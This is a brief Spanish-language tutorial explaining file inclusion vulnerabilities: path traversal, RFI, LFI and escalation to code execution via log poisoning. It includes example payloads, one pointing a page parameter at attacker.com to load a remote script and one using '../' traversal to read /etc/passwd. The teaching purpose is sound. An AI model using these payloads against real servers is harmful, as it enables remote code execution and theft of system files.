Fundamentos de la Inclusión de Archivos

Una string de traversal, comúnmente vista como ../ se usa en ataques de path traversal para navegar entre la estructura de directorios de un sistema de ficheros. Se usan para acceder a archivos fuera del directorio pretendido.

La ruta relativa se refiere a localizar archivos basándonos en el directorio actual. Por ejemplo include('./folder/file.php') implica que file.php está en un directorio llamado folder, que está en el mismo directorio que el script en ejecución.

La ruta absoluta implica especificar la ruta completa desde el directorio /. Por ejemplo, /var/www/html/folder/file.php.


Remote File Inclusion

La inclusión de archivos remotos, o RFI, es una vulnerabilidad que permite a los atacantes incluir archivos remotos, normalmente mediante manipulación de input. Esto puede llevar a ejecución de scripts o código maliciosos en el servidor.

Típicamente, RFI ocurre en aplicaciones que incluyen contenido externo de forma dinámica. Los atacantes pueden manipular parámetros en una petición para apuntar a archivos externos maliciosos. Por ejemplo, si una aplicación web usa una URL en un parámetro GET como include.php?page=http://attacker.com/exploit.php, un atacante podría reemplazar la URL con la ruta a un script malicioso.


Local File Inclusion

La inclusión de archivos locales, o LFI, ocurre cuando un atacante explota un campo de input vulnerable para acceder o ejecutar archivos en el servidor. Los atacantes normalmente explotan campos de input poco sanitizados para manipular rutas, intentando acceder a archivos fuera del directorio pretendido. Por ejemplo, usando una string de path traversal, un atacante puede acceder a archivos sensibles como include.php?page=../../../../etc/passwd.

Aunque LFI suele llevar a acceso no autorizado a archivos, puede escalar a RCE. Esto puede ocurrir si un atacante puede subir o inyectar código en un archivo que luego se incluye o se ejecuta. Técnicas como log poisoning, que significa inyectar código en los archivos de registro y luego incluir esos archivos, son ejemplos de como LFI puede llevar a RCE.


RFI vs LFI (Proceso de Explotación)

File Inclusion Types

Este diagrama diferencia el proceso de explotar vulnerabilidades RFI y LFI. En RFI, el foco está en incluir y ejecutar archivos remotos, mientras que en LFI, el atacante intenta acceder a archivos locales y potencialmente usar esto para acceder a ejecutar código en el servidor.